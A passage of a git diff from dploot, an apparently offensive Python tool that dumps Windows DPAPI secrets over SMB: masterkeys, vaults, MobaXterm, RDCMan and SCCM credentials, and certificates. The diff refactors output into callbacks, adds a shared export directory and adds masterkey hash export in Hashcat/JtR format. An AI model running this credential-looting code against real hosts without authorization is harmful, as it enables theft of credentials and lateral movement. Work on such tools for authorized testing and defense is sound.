dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.vaults import VaultsTriage -NAME = 'machinevaults' +NAME = "machinevaults" -class MachineVaultsAction: +class MachineVaultsAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -26,7 +25,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.masterkeys = None self.outputdir = None - self.outputdir = handle_outputdir_option(dir= self.options.export_vpol) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -40,33 +39,53 @@ def connect(self) -> None: if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage SYSTEM masterkeys\n") - self.masterkeys = triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Vaults\n') - vaults = vaults_triage.triage_system_vaults() - for vault in vaults: + self.masterkeys = masterkeytriage.triage_system_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def secret_callback(vault): if self.options.quiet: - vault.dump_quiet() + vault.dump_quiet() else: vault.dump() + + vaults_triage = VaultsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_vault_callback=secret_callback, + ) + logging.info("Triage SYSTEM Vaults\n") + vaults_triage.triage_system_vaults() if self.outputdir is not None: - for filename, bytes in vaults_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files) + else: logging.info("Not an admin, exiting...") @@ -78,41 +97,31 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MachineVaultsAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump system vaults from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump system vaults from local or remote target" + ) group = subparser.add_argument_group("machinevaults options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) group.add_argument( "-outputfile", action="store", - help=( - "Export keys to file" - ), - ) - - group.add_argument( - "-export-vpol", - action="store", - metavar="DIR_VPOL", - help=( - "Dump looted Vaults blob to specified directory, regardless they were decrypted" - ) + help=("Export keys to file"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/masterkeys.py b/dploot/action/masterkeys.py index 582a818..369bf83 100755 --- a/dploot/action/masterkeys.py +++ b/dploot/action/masterkeys.py @@ -1,19 +1,18 @@ import argparse import logging -import os import sys from typing import Callable, Dict, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option, parse_file_as_dict +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option, parse_file_as_dict from dploot.triage.masterkeys import MasterkeysTriage -NAME = 'masterkeys' +NAME = "masterkeys" -class MasterkeysAction: +class MasterkeysAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -27,40 +26,64 @@ def __init__(self, options: argparse.Namespace) -> None: self.nthashes = None self.outputdir = None - self.outputdir = handle_outputdir_option(dir= self.options.export_mk) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) - if self.options.outputfile is not None and self.options.outputfile != '': + if self.options.outputfile is not None and self.options.outputfile != "": self.outputfile = self.options.outputfile - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: - triage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + fd = ( + open(self.outputfile + ".mkf", "a+") + if self.outputfile is not None + else None + ) + + def masterkey_callback(masterkey): + if masterkey.key is not None: + masterkey.dump() + if fd is not None: + fd.write(str(masterkey) + "\n") + + triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_callback, + ) logging.info("Triage ALL USERS masterkeys\n") - masterkeys = triage.triage_masterkeys() + triage.triage_masterkeys() if self.outputfile is not None: - with open(self.outputfile + '.mkf', 'a+')as file: - logging.critical("Writting masterkeys to %s" % self.outputfile) - for masterkey in masterkeys: - masterkey.dump() - file.write(str(masterkey)+'\n') - else: - for masterkey in masterkeys: - masterkey.dump() + logging.critical("Writting masterkeys to %s" % self.outputfile) + fd.close() + if self.options.hashes_outputfile: + with open(self.options.hashes_outputfile, "a+") as hashes_fd: + logging.critical("Writting masterkey hashes to %s" % self.options.hashes_outputfile) + for mkhash in [mkhash for masterkey in triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]: + hashes_fd.write(mkhash + "\n") if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -72,57 +95,63 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MasterkeysAction(options) a.run() -def parse_masterkeys_options(options: argparse.Namespace, target: Target) -> Tuple[bytes,Dict[str,str],Dict[str,str]]: + +def parse_masterkeys_options( + options: argparse.Namespace, target: Target +) -> Tuple[bytes, Dict[str, str], Dict[str, str]]: pvkbytes = None passwords = {} nthashes = {} - if hasattr(options,'pvk') and options.pvk is not None: + if hasattr(options, "pvk") and options.pvk is not None: try: - pvkbytes = open(options.pvk, 'rb').read() + pvkbytes = open(options.pvk, "rb").read() except Exception as e: logging.error(str(e)) sys.exit(1) - if hasattr(options,'passwords') and options.passwords is not None: + if hasattr(options, "passwords") and options.passwords is not None: try: passwords = parse_file_as_dict(options.passwords) except Exception as e: logging.error(str(e)) sys.exit(1) - if hasattr(options,'nthashes') and options.nthashes is not None: + if hasattr(options, "nthashes") and options.nthashes is not None: try: nthashes = parse_file_as_dict(options.nthashes) except Exception as e: logging.error(str(e)) sys.exit(1) - if target.username: - if target.password != '': - passwords[target.username] = target.password - if target.nthash != '': - nthashes[target.username] = target.nthash.lower() + if target.password is not None and target.password != "": + if passwords is None: + passwords = {} + passwords[target.username] = target.password + + if target.nthash is not None and target.nthash != "": + if nthashes is None: + nthashes = {} + nthashes[target.username] = target.nthash.lower() if nthashes is not None: - nthashes = {k.lower():v.lower() for k, v in nthashes.items()} - + nthashes = {k.lower(): v.lower() for k, v in nthashes.items()} + if passwords is not None: - passwords = {k.lower():v for k, v in passwords.items()} + passwords = {k.lower(): v for k, v in passwords.items()} return pvkbytes, passwords, nthashes -def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None: +def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None: group.add_argument( "-pvk", action="store", - help=( - "Pvk file with domain backup key" - ), + help=("Pvk file with domain backup key"), ) group.add_argument( @@ -141,9 +170,11 @@ def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None: ), ) -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users masterkey from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump users masterkey from local or remote target" + ) group = subparser.add_argument_group("masterkeys options") @@ -152,21 +183,15 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable group.add_argument( "-outputfile", action="store", - help=( - "Export keys to file" - ), + help=("Export keys to file"), ) - group.add_argument( - "-export-mk", + "-hashes-outputfile", action="store", - metavar="DIR_MASTERKEYS", - help=( - "Dump looted masterkey files to specified directory, regardless they were decrypted" - ) + help=("Export hashes of masterkeys to file in Hashcat/JtR format"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/mobaxterm.py b/dploot/action/mobaxterm.py index 1a25df5..605bce1 100644 --- a/dploot/action/mobaxterm.py +++ b/dploot/action/mobaxterm.py @@ -3,20 +3,24 @@ import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.mobaxterm import MobaXtermTriage -NAME = 'mobaxterm' +NAME = "mobaxterm" -class MobaXtermAction: +class MobaXtermAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self._users = None @@ -24,6 +28,8 @@ def __init__(self, options: argparse.Namespace) -> None: self.masterkeys = None self.pvkbytes = None + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) + if self.options.mkfile is not None: try: self.masterkeys = parse_masterkey_file(self.options.mkfile) @@ -31,7 +37,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -41,26 +49,52 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info("Triage MobaXterm Secrets\n") - _, credentials = triage.triage_mobaxterm() - for credential in credentials: + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def secret_callback(secret): if self.options.quiet: - credential.dump_quiet() + secret.dump_quiet() else: - credential.dump() - + secret.dump() + + triage = MobaXtermTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_secret_callback=secret_callback, + ) + logging.info("Triage MobaXterm Secrets\n") + triage.triage_mobaxterm(offline_users=self.options.dump_offline_users) + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -72,25 +106,33 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MobaXtermAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump Passwords and Credentials from MobaXterm") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump Passwords and Credentials from MobaXterm" + ) group = subparser.add_argument_group("mobaxterm options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) + + group.add_argument( + "-dump-offline-users", + action="store_true", + help=("Will try to offline users by dumping them NTUSER.DAT file. Noisy"), + ) + add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/rdg.py b/dploot/action/rdg.py index 1fd7332..b9742c8 100755 --- a/dploot/action/rdg.py +++ b/dploot/action/rdg.py @@ -1,24 +1,26 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.rdg import RDGTriage -NAME = 'rdg' +NAME = "rdg" -class RDGAction: +class RDGAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self._users = None @@ -26,7 +28,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.masterkeys = None self.pvkbytes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_rdg) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -35,7 +37,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -45,42 +49,52 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = RDGTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage RDCMAN Settings and RDG files for ALL USERS\n') - rdcman_files, rdgfiles = triage.triage_rdcman() - for rdcman_file in rdcman_files: - if rdcman_file is None: - continue - logging.debug("RDCMAN File: %s\n" % (rdcman_file.filepath)) - for rdg_cred in rdcman_file.rdg_creds: - if self.options.quiet: - rdg_cred.dump_quiet() - else: - rdg_cred.dump() - for rdgfile in rdgfiles: - if rdgfile is None: - continue - logging.debug("Found RDG file: %s\n" % (rdgfile.filepath)) - for rdg_cred in rdgfile.rdg_creds: - if self.options.quiet: - rdg_cred.dump_quiet() - else: - rdg_cred.dump() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def credential_callback(credential): + if self.options.quiet: + credential.dump_quiet() + else: + credential.dump() + + triage = RDGTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n") + triage.triage_rdcman() if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -92,35 +106,27 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = RDGAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users saved password information for RDCMan.settings from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Dump users saved password information for RDCMan.settings from local or remote target", + ) group = subparser.add_argument_group("rdg options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) - - group.add_argument( - "-export-rdg", - action="store", - metavar="DIR_RDG", - help=( - "Dump looted RDGMan.settings blob to specified directory, regardless they were decrypted" - ) - ) - add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/sccm.py b/dploot/action/sccm.py index ede0cc1..c7cfbff 100755 --- a/dploot/action/sccm.py +++ b/dploot/action/sccm.py @@ -5,25 +5,25 @@ from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.sccm import SCCMTriage -NAME = 'sccm' +NAME = "sccm" -class SCCMAction: +class SCCMAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self._users = None self.outputdir = None self.masterkeys = None - self.outputdir = handle_outputdir_option(dir= self.options.export_sccm) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -40,35 +40,48 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage SYSTEM masterkeys\n") - self.masterkeys = triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, use_wmi=self.options.wmi) - logging.info('Triage SCCM Secrets\n') - sccmcreds, sccmtasks, sccmcollections = triage.triage_sccm() - for sccm_cred in sccmcreds: - if self.options.quiet: - sccm_cred.dump_quiet() - else: - sccm_cred.dump() - for sccm_task in sccmtasks: - if self.options.quiet: - sccm_task.dump_quiet() - else: - sccm_task.dump() - for sccm_collection in sccmcollections: + self.masterkeys = masterkeytriage.triage_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def secret_callback(secret): if self.options.quiet: - sccm_collection.dump_quiet() + secret.dump_quiet() else: - sccm_collection.dump() + secret.dump() + + triage = SCCMTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_secret_callback=secret_callback, + ) + logging.info("Triage SCCM Secrets\n") + triage.triage_sccm(use_wmi=self.options.wmi) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -80,42 +93,32 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = SCCMAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target", + ) group = subparser.add_argument_group("sccm options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), - ) - - group.add_argument( - "-export-sccm", - action="store", - metavar="DIR_SCCM", - help=( - "Dump looted SCCM secrets to specified directory" - ) + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) group.add_argument( "-wmi", action="store_true", - help=( - "Dump SCCM secrets from WMI requests results" - ) + help=("Dump SCCM secrets from WMI requests results"), ) add_target_argument_group(subparser) return NAME, entry - diff --git a/dploot/action/triage.py b/dploot/action/triage.py index faf5b60..13986ee 100755 --- a/dploot/action/triage.py +++ b/dploot/action/triage.py @@ -1,27 +1,29 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.certificates import CertificatesTriage from dploot.triage.credentials import CredentialsTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.rdg import RDGTriage from dploot.triage.vaults import VaultsTriage -NAME = 'triage' +NAME = "triage" -class TriageAction: +class TriageAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None @@ -30,10 +32,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.passwords = None self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_triage) - if self.outputdir is not None: - for tmp in ['certificates', 'credentials', 'rdg', 'vaults', 'masterkeys', 'browser']: - os.makedirs(os.path.join(self.outputdir, tmp), 0o744, exist_ok=True) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -42,7 +41,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -52,90 +53,96 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) - + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) + if self.is_admin: if self.masterkeys is None: - masterkeys_triage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_callback(masterkey): + masterkey.dump() + + masterkeys_triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_callback + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeys_triage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() + print() if self.outputdir is not None: - for filename, bytes in masterkeys_triage.looted_files.items(): - with open(os.path.join(self.outputdir, 'masterkeys', filename),'wb') as outputfile: - outputfile.write(bytes) - - credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Credentials for ALL USERS\n') - credentials = credentials_triage.triage_credentials() - for credential in credentials: + dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files) + + def credential_callback(credential): if self.options.quiet: credential.dump_quiet() else: credential.dump() + + credentials_triage = CredentialsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage Credentials for ALL USERS\n") + credentials_triage.triage_credentials() if self.outputdir is not None: - for filename, bytes in credentials_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - - vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Vaults for ALL USERS\n') - vaults = vaults_triage.triage_vaults() - for vault in vaults: - if self.options.quiet: - vault.dump_quiet() - else: - vault.dump() + dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files) + + vaults_triage = VaultsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_vault_callback=credential_callback, + ) + logging.info("Triage Vaults for ALL USERS\n") + vaults_triage.triage_vaults() if self.outputdir is not None: - for filename, bytes in vaults_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - - rdg_triage = RDGTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage RDCMAN Settings and RDG files for ALL USERS\n') - rdcman_files, rdgfiles = rdg_triage.triage_rdcman() - for rdcman_file in rdcman_files: - if rdcman_file is None: - continue - logging.debug("RDCMAN File: %s\n" % (rdcman_file.filepath)) - for rdg_cred in rdcman_file.rdg_creds: - if self.options.quiet: - rdg_cred.dump_quiet() - else: - rdg_cred.dump() - for rdgfile in rdgfiles: - if rdgfile is None: - continue - logging.debug("Found RDG file: %s\n" % (rdgfile.filepath)) - for rdg_cred in rdgfile.rdg_creds: - if self.options.quiet: - rdg_cred.dump_quiet() - else: - rdg_cred.dump() + dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files) + + rdg_triage = RDGTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n") + rdg_triage.triage_rdcman() if self.outputdir is not None: - for filename, bytes in rdg_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - - certificates_triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Certificates for ALL USERS\n') - certificates = certificates_triage.triage_certificates() - for certificate in certificates: - if self.options.dump_all and not certificate.clientauth: - continue + dump_looted_files_to_disk(self.outputdir, rdg_triage.looted_files) + + def certificate_callback(certificate): + if not self.options.dump_all and not certificate.clientauth: + return if not self.options.quiet: certificate.dump() - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + filename = f"{certificate.username}_{certificate.filename[:16]}.pfx" logging.critical("Writting certificate to %s" % filename) with open(filename, "wb") as f: f.write(certificate.pfx) + + certificates_triage = CertificatesTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_certificate_callback=certificate_callback, + ) + logging.info("Triage Certificates for ALL USERS\n") + certificates_triage.triage_certificates() if self.outputdir is not None: - for filename, bytes in certificates_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, certificates_triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -147,22 +154,24 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = TriageAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target", + ) group = subparser.add_argument_group("triage options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) @@ -170,20 +179,9 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable group.add_argument( "-dump-all", action="store_true", - help=( - "Dump also certificates not used for client authentication" - ) - ) - - group.add_argument( - "-export-triage", - action="store", - metavar="DIR_TRIAGE", - help=( - "Dump looted blob to specified directory, regardless they were decrypted" - 